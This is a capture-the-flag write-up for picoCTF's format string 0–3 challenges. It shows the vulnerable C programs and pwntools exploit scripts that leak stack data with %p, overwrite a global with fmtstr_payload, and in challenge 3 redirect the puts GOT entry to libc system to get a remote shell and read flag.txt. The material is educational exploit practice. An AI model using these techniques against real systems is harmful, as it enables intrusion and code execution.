pwn - format string 0123
Can you use your knowledge of format strings to make the customers happy? | Patrick and Sponge Bob were really happy with those orders you made for them, but now they're curious about the secret menu. Find it, and along the way, maybe you'll find something else of interest! | This program is not impressed by cheap parlor tricks like reading arbitrary data off the stack. To impress this program you must change data on the stack! | This program doesn't contain a win function. How can you win?
November 4, 2025
•
September 11, 2025
•
Medium
format string 0 (Easy)
Source Code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 32
#define FLAGSIZE 64
char flag[FLAGSIZE];
void sigsegv_handler(int sig) {
printf("\n%s\n", flag);
fflush(stdout);
exit(1);
}
int on_menu(char *burger, char *menu[], int count) {
for (int i = 0; i < count; i++) {
if (strcmp(burger, menu[i]) == 0)
return 1;
}
return 0;
}
void serve_patrick();
void serve_bob();
int main(int argc, char **argv){
FILE *f = fopen("flag.txt", "r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(flag, FLAGSIZE, f);
signal(SIGSEGV, sigsegv_handler);
gid_t gid = getegid();
setresgid(gid, gid, gid);
serve_patrick();
return 0;
}
void serve_patrick() {
printf("%s %s\n%s\n%s %s\n%s",
"Welcome to our newly-opened burger place Pico 'n Patty!",
"Can you help the picky customers find their favorite burger?",
"Here comes the first customer Patrick who wants a giant bite.",
"Please choose from the following burgers:",
"Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe",
"Enter your recommendation: ");
fflush(stdout);
char choice1[BUFSIZE];
scanf("%s", choice1);
char *menu1[3] = {"Breakf@st_Burger", "Gr%114d_Cheese", "Bac0n_D3luxe"};
if (!on_menu(choice1, menu1, 3)) {
printf("%s", "There is no such burger yet!\n");
fflush(stdout);
} else {
int count = printf(choice1);
if (count > 2 * BUFSIZE) {
serve_bob();
} else {
printf("%s\n%s\n",
"Patrick is still hungry!",
"Try to serve him something of larger size!");
fflush(stdout);
}
}
}
void serve_bob() {
printf("\n%s %s\n%s %s\n%s %s\n%s",
"Good job! Patrick is happy!",
"Now can you serve the second customer?",
"Sponge Bob wants something outrageous that would break the shop",
"(better be served quick before the shop owner kicks you out!)",
"Please choose from the following burgers:",
"Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak",
"Enter your recommendation: ");
fflush(stdout);
char choice2[BUFSIZE];
scanf("%s", choice2);
char *menu2[3] = {"Pe%to_Portobello", "$outhwest_Burger", "Cla%sic_Che%s%steak"};
if (!on_menu(choice2, menu2, 3)) {
printf("%s", "There is no such burger yet!\n");
fflush(stdout);
} else {
printf(choice2);
fflush(stdout);
}
}Solve


┌──(hungnt㉿kali)-[~/Desktop]
└─$ nc mimas.picoctf.net 52758
Welcome to our newly-opened burger place Pico 'n Patty! Can you help the picky customers find their favorite burger?
Here comes the first customer Patrick who wants a giant bite.
Please choose from the following burgers: Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe
Enter your recommendation: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
There is no such burger yet!
picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_ef312157}format string 1 (Medium)
Source Code
#include <stdio.h>
int main() {
char buf[1024];
char secret1[64];
char flag[64];
char secret2[64];
// Read in first secret menu item
FILE *fd = fopen("secret-menu-item-1.txt", "r");
if (fd == NULL){
printf("'secret-menu-item-1.txt' file not found, aborting.\n");
return 1;
}
fgets(secret1, 64, fd);
// Read in the flag
fd = fopen("flag.txt", "r");
if (fd == NULL){
printf("'flag.txt' file not found, aborting.\n");
return 1;
}
fgets(flag, 64, fd);
// Read in second secret menu item
fd = fopen("secret-menu-item-2.txt", "r");
if (fd == NULL){
printf("'secret-menu-item-2.txt' file not found, aborting.\n");
return 1;
}
fgets(secret2, 64, fd);
printf("Give me your order and I'll read it back to you:\n");
fflush(stdout);
scanf("%1024s", buf);
printf("Here's your order: ");
printf(buf);
printf("\n");
fflush(stdout);
printf("Bye!\n");
fflush(stdout);
return 0;
}Mitigation

Solve
┌──(hungnt㉿kali)-[~/Desktop]
└─$ echo 'secret1' > secret-menu-item-1.txt
┌──(hungnt㉿kali)-[~/Desktop]
└─$ echo 'flag{}' > flag.txt
┌──(hungnt㉿kali)-[~/Desktop]
└─$ echo 'secret2' > secret-menu-item-2.txt

from pwn import *
p = process('./format-string-1')
context.update(arch='amd64', os='linux')
context.terminal = ['qterminal', '-e']
gdb.attach(p, gdbscript='''
b *main+340
c
''')
p.sendlineafter(b"Give me your order and I'll read it back to you:\n", b'%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p')
p.interactive()

┌──(hungnt㉿kali)-[~/Desktop]
└─$ nc mimas.picoctf.net 58475
Give me your order and I'll read it back to you:
%20$p%19$p%18$p%17$p%16$p%15$p%14$p%13$p%12$p
Here's your order: 0x7b6dec6768d80x70x7d6638396237640x35625f673431665f0x3478345f333179370x355f31346d316e340x7b4654436f636970(nil)(nil)
Bye!
format string 2 (Medium)
Source Code
#include <stdio.h>
int sus = 0x21737573;
int main() {
char buf[1024];
char flag[64];
printf("You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n");
fflush(stdout);
scanf("%1024s", buf);
printf("Here's your input: ");
printf(buf);
printf("\n");
fflush(stdout);
if (sus == 0x67616c66) {
printf("I have NO clue how you did that, you must be a wizard. Here you go...\n");
// Read in the flag
FILE *fd = fopen("flag.txt", "r");
fgets(flag, 64, fd);
printf("%s", flag);
fflush(stdout);
}
else {
printf("sus = 0x%x\n", sus);
printf("You can do better!\n");
fflush(stdout);
}
return 0;
}Mitigation

Solve


from pwn import *
context.update(arch='amd64', os='linux')
context.terminal = ['qterminal', '-e']
p = process('./vuln')
e = ELF('./vuln')
sus = e.symbols['sus']
gdb.attach(p, gdbscript='''
b *main+95
c
''')
offset = 0
writes = {sus: 0x67616c66}
payload = fmtstr_payload(offset, writes)
p.sendlineafter(b"What do you have to say?\n", payload)
p.interactive()
gdb.attach(p, gdbscript='''
b *main+95
c
ni
''')
offset = 14
writes = {sus: 0x67616c66}
payload = fmtstr_payload(offset, writes)
p.sendlineafter(b"What do you have to say?\n", payload)
p.interactive()
Script
from pwn import *
context.update(arch='amd64', os='linux')
p = remote('rhea.picoctf.net', 57001)
e = ELF('./vuln')
sus = e.symbols['sus']
offset = 14
writes = {sus: 0x67616c66}
payload = fmtstr_payload(offset, writes)
p.sendlineafter(b"What do you have to say?\n", payload)
p.recvuntil(b"I have NO clue how you did that, you must be a wizard. Here you go...\n")
print(p.recvall(timeout=2).decode())┌──(hungnt㉿kali)-[~/Desktop]
└─$ py solve.py
[+] Opening connection to rhea.picoctf.net on port 57001: Done
[*] '/home/hungnt/Desktop/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
[+] Receiving all data: Done (40B)
[*] Closed connection to rhea.picoctf.net port 57001
picoCTF{f0rm47_57r?_f0rm47_m3m_ccb55fce}format string 3 (Medium)
Source Code
#include <stdio.h>
#define MAX_STRINGS 32
char *normal_string = "/bin/sh";
void setup() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
void hello() {
puts("Howdy gamers!");
printf("Okay I'll be nice. Here's the address of setvbuf in libc: %p\n", &setvbuf);
}
int main() {
char *all_strings[MAX_STRINGS] = {NULL};
char buf[1024] = {'\0'};
setup();
hello();
fgets(buf, 1024, stdin);
printf(buf);
puts(normal_string);
return 0;
}Mitigation


Solve
┌──(hungnt㉿kali)-[~/Desktop]
└─$ chmod +x format-string-3 ld-linux-x86-64.so.2┌──(hungnt㉿kali)-[~/Desktop]
└─$ ./format-string-3
Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7f02b6bd83f0
test
test
/bin/sh

from pwn import *
context.update(arch='amd64', os='linux')
context.terminal = ['qterminal', '-e']
p = process('./format-string-3')
e = ELF('./format-string-3')
libc = ELF('./libc.so.6')
gdb.attach(p, gdbscript='''
b *main+160
c
''')
p.recvuntil(b'in libc: ')
runtime_setvbuf = int(p.recvline().strip(), 16)
print(hex(runtime_setvbuf))
p.interactive()

runtime_setvbuf = int(p.recvline().strip(), 16)
static_setvbuf = libc.symbols['setvbuf']
libc_base = runtime_setvbuf - static_setvbuf
static_system = libc.symbols['system']
runtime_system = libc_base + static_systemput_got = e.got['puts']
offset = 0
writes = {put_got: runtime_system}
payload = fmtstr_payload(offset, writes)
p.sendline(payload)
┌──(hungnt㉿kali)-[~/Desktop]
└─$ py
Python 3.13.7 (main, Aug 20 2025, 22:17:40) [GCC 14.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> (0x7ffc352c2fc0 - 0x7ffc352c2ec0)/8 + 6
38.0gdb.attach(p, gdbscript='''
b *main+160
c
ni
''')
p.recvuntil(b'in libc: ')
runtime_setvbuf = int(p.recvline().strip(), 16)
static_setvbuf = libc.symbols['setvbuf']
libc_base = runtime_setvbuf - static_setvbuf
static_system = libc.symbols['system']
runtime_system = libc_base + static_system
put_got = e.got['puts']
offset = 38
writes = {put_got: runtime_system}
payload = fmtstr_payload(offset, writes)
p.sendline(payload)
p.interactive()
Script
from pwn import *
context.update(arch='amd64', os='linux')
p = remote('rhea.picoctf.net', 50929)
e = ELF('./format-string-3')
libc = ELF('./libc.so.6')
p.recvuntil(b'in libc: ')
runtime_setvbuf = int(p.recvline().strip(), 16)
static_setvbuf = libc.symbols['setvbuf']
libc_base = runtime_setvbuf - static_setvbuf
static_system = libc.symbols['system']
runtime_system = libc_base + static_system
put_got = e.got['puts']
offset = 38
writes = {put_got: runtime_system}
payload = fmtstr_payload(offset, writes)
p.sendline(payload)
p.interactive()┌──(hungnt㉿kali)-[~/Desktop]
└─$ py solve.py
[+] Opening connection to rhea.picoctf.net on port 50929: Done
[*] '/home/hungnt/Desktop/format-string-3'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
SHSTK: Enabled
IBT: Enabled
Stripped: No
[*] '/home/hungnt/Desktop/libc.so.6'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
[*] Switching to interactive mode
c \x8b \xe0 \x01 \x00 \x00aaaaba\x18@@$ l ls ls
Makefile
artifacts.tar.gz
flag.txt
format-string-3
format-string-3.c
ld-linux-x86-64.so.2
libc.so.6
metadata.json
profile
$ cat flag.txt
picoCTF{G07_G07?_92325514}